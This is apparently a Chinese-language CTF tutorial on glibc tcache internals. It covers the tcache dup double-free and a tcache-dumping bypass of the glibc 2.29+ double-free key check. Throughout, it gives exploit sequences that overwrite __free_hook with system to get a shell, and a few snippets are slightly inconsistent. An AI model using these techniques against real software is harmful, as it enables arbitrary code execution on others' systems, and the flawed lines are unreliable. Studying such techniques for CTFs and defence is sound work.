tcache
tcache的全称是thread local cache,是glibc中性能优化的一种方式,但是tcache实现中引入了一些新的安全问题,导致对于堆的漏洞利用甚至更简单了起来。
这个机制的目的是借鉴了jemalloc中的magazine,目的是缓解不同线程之间在堆分配时的资源竞争
glibc中为了防止线程之间共用堆导致出现问题,在每一个线程调用malloc时都会创建一个新的arena
但是这个arena的数量是有限制的,如果超过了进程分配的处理器核数,更多的线程就需要共享堆了,进而由于线程同步相关问题增加了锁,这就导致一部分的线程在运行时可能需要阻塞,等待其他的线程用完堆之后才能使用
tcache就是为了对这种情况进行优化而引入的(GLIBC2.26及更新的版本),每一个线程会有一个tcache,free的内容会被link到tcache中,而不是直接link到arena中
使用一个简单的例子来演示一下,程序的libc是开启了tcache的glibc2.28
a = malloc(0x18);
b = malloc(0x18);
直接malloc两次0x20的chunk,在gdb中查看
发现在程序一开始有一个大小0x250的chunk
之后才是我们申请的两个0x20大小的chunk
执行free(a)
可以看到
这里有三个地方发生了变化,首先是我们申请的chunk被加入到了tcachebin中
上面0x251的区域中增加了一个指向free掉位置的指针,以及一个1
这里堆最开始就是Tcache,Tcache的结构是这样两部分
首先是Counts,大小是0x40,每一个项是一个字节(GLIBC2.26-2.29中是一字节,2.30以上是二字节),表示一个大小的chunk的数量;
之后是Entries,每一项是一个字大小(64位系统是8字节)
因此如果tcache大小为0x250,那么说明GLIBC版本在2.26到2.29之间;如果tcache大小是0x290,那么GLIBC版本在2.30以上;
超过了0x410的chunk在free掉的时候就会直接放到unsortedbin中了
tcache dup
接下来介绍tcache dup,是tcache的double free
这个程序的功能也和之前类似是一个典型的菜单
程序的漏洞是free掉一个已有的chunk之后没有将指针清零
这导致程序存在double free的漏洞;
并且由于tcache的存在,直接free掉一个chunk两次就可以得到一个重叠的空间
chunk_A = malloc(0x18, "aaaa")
free(chunk_A)
free(chunk_A)
malloc(0x18,p64(elf.sym.target))
malloc(0x18,'aaaa')
malloc(0x18,"Much Win\x00")
任意地址写的方法就这样很简单的完成了
tcache dup的利用属于很简单了,类似于fastbin dup,但是检查的字段还更少
获取代码执行能力也很简单,直接修改free_hook为system即可
chunk_A = malloc(0x18,"aaaa")
free(chunk_A)
free(chunk_A)
malloc(0x18, p64(libc.sym.__free_hook))
binsh = (0x18, "/bin/sh\x00")
malloc(0x18, p64(libc.sym.system))
free(binsh)
运行效果
tcache dumping
前一节涉及到的tcache dup在glibc2.29中得到了修复
首先试一下glibc 2.31链接的程序中tcache dup是否还有效
直接简单的尝试double free
chunk_A = malloc(0x18, "aaaa")
free(chunk_A)
free(chunk_A)
但是程序出现了报错,输出了
free(): double free detected in tcache 2
这样的结果,那么尝试一下像fastbin dup中的方法
chunk_A = malloc(0x18, "AAAA")
chunk_B = malloc(0x18, "BBBB")
free(chunk_A)
free(chunk_B)
free(chunk_A)
这样执行仍然会报这样的错误,那么具体查看一下产生报错的原因
查看gdb中的__int_free
函数中具体报错的代码
发现这里比较的是一个e->key==tcache
e
指的是要被free
的目标chunk,比较的是要被free
的chunk的key
字段和tcache的地址
关于这个key
字段,可以看一下free
掉之后tcache中的bins
可以看到其中user data的第一个字段是fd
之后紧接着的一个值0x603010
就是这个key
字段
在glibc 2.29之后的版本,在被free到tcachebin之后第二个qword就会被设置为key,指向tcache被写入的位置
这个key就是一种标志,表示这个chunk已经被free掉了,用于避免double free
不过实际上malloc也并不是完全确定这个位置指向了tcache就一定是一个free的,因为这也有可能存在随机的数据恰好指向tcache的情况,因此源代码中也需要再检查一下
这里的代码接下来遍历了tcache的所有项,如果tcache中已经存在了这个要被free
掉的目标,就报错,否则才能正常free掉
for (tmp = tcache->entries[tc_idx];tmp;tmp=tmp->next)
if(tmp == e)
malloc_printerr("free(): double free detected in tcache 2");
这里是用一个glibc 2.31版本链接的demo做一 下测试
链接到的版本是2.31版本,为了进一步理解tcache,这里再分析一个demo
首先申请14个大小为0x18的chunk
之后将这14个chunk全部free掉,下断点断在第13行
这时可以发现前7个chunk被放入到了tcachebin中
之后的7个就是正常放在大小为0x20的fastbin中
这里这个7到底是哪里决定的呢?在gdb中输入mp
查看这个结构的值
可以看到mp
结构中有一项tcache_count
,这个值就是决定了tcache
每一个大小允许的数量
接下来继续执行,程序又malloc
了7次,这个过程优先将tcache的内容申请出来,也就是说tcache被清空,而fastbin还是有7项
接下来如果再申请一次会发生什么呢?
发现fastbin[0]
被拿出来用于这一次的申请,剩下的所有fastbin全部都被加入到了tcache中
这个过程就是tcache dumping
这一机制存在的原因可以理解为,堆管理器发现这个线程很频繁的需要这个大小的空间,为了减少频繁检查的消耗,干脆直接把目前内存里这个大小的fastbin都划给这个线程得了,于是一股脑将剩余的fastbin都先加入到tcache中
这里有一个地方需要注意,fastbin中fd指向的是chunk的metadata开始位置,而tcache的next字段指向的是userdata部分;
那么总结一下,只有将tcache填满之后才会申请的内容就会放入常规的bins;而在tcache为空时申请一次fastbin会将这个fastbin中的剩余项都加入到tcache中
回到这个2.31版本的tcache_dup,在这个2.31版本的例子中检查了e->key==tcache
导致无法绕过double free的检查
而只有通过直接free到tcache时才会经过这条检查,如果是将tcache填满之后从fastbin移动到tcachebin就不会再经过这个检查
for i in range(7):
malloc(0x18, "aaaa")
dup = malloc(0x18,'aaaa')
for i in range(7):
free(i)
free(dup)
首先填满tcache之后,再free掉一个同样大小的chunk,根据前面demo的实验我们知道这个dup应该是常规的放入到fastbin中
这之后将tcache中的chunk都申请出来,因为tcache机制本身就是为了方便各个线程有一块自己的堆,tcache的内容会比fastbin的内容优先申请出来
for i in range(7):
malloc(0x18, "aaaa")
dup = malloc(0x18,'aaaa')
for i in range(7):
free(i)
free(dup)
for i in range(7):
malloc(0x18, 'aaaa')
在这个状态下再次free(dup)
虽然会检查e->key==tcache
,但是由于dup
这个chunk之前是被free到了fastbin中,并没有设置key这个字段,因此可以绕过这一检查,最终使得dup同时被加入到了tcachebin和fastbin中
这之后先再申请一次,修改掉fd指针
malloc(0x18, p64(elf.sym.target))
看到这时fastbin的fd变成了0x602010,即target的位置
由于这时用到的是glibc的2.31版本,已经对fastbin_dup这样的问题做了检查,增加了针对fastbin size字段的检查,类似于在高版本House of Rabbit中看到的内容
所以这时我们没办法简单的利用fastbin dup,这就是需要tcache dumping的地方了
这时tcache为空,fastbin中有两项
再申请一次,这个操作首先会将0x603370位置的fastbin用于满足这次的申请,另外会将接下来的fastbin——即我们伪造link到fastbin上的target——加入到tcache中
for i in range(7):
malloc(0x18, "aaaa")
dup = malloc(0x18,'aaaa')
for i in range(7):
free(i)
free(dup)
for i in range(7):
malloc(0x18, 'aaaa')
free(dup)
malloc(0x18, p64(elf.sym.target))
# 触发tcache dumping
malloc(0x18, 'aaaa')
这时查看内存,发现好像和我们想象中不太一样
这时可以控制的内存正好是target下面的空间,有一个0x10的偏移,所以需要修改一下伪造fd时的值,那么设置成-0x10
呢?
malloc(0x18, p64(elf.sym.target-0x10))
这时也有一些问题,因为target值的部分正好会被当成fastbin的fd来解析,在触发tcache dumping的过程中会尝试去这个不可读写的地址继续将其加入到tcache中
所以这里需要再向前面减8
for i in range(7):
malloc(0x18, "aaaa")
dup = malloc(0x18,'aaaa')
for i in range(7):
free(i)
free(dup)
for i in range(7):
malloc(0x18, 'aaaa')
free(dup)
malloc(0x18, p64(elf.sym.target-0x18))
# 触发tcache dumping
malloc(0x18, 'aaaa')
malloc(0x18, p64(0)+b"Much Win\x00")
完成了任意地址写,接下来利用类似的方法完成任意代码执行就很轻松了,直接修改__free_hook
由于__free_hook
本身没有值,不会被解析为fastbin的fd
,这次就不需要再向前偏移8了
for i in range(7):
malloc(0x18, "aaaa")
dup = malloc(0x18,'aaaa')
for i in range(7):
free(i)
free(dup)
for i in range(7):
malloc(0x18, 'aaaa')
free(dup)
malloc(0x18, p64(libc.sym.__free_hook-0x10))
binsh = malloc(0x18, '/bin/sh\x00')
malloc(0x18, p64(libc.sym.system))
free(binsh)
运行之后就可以获得shell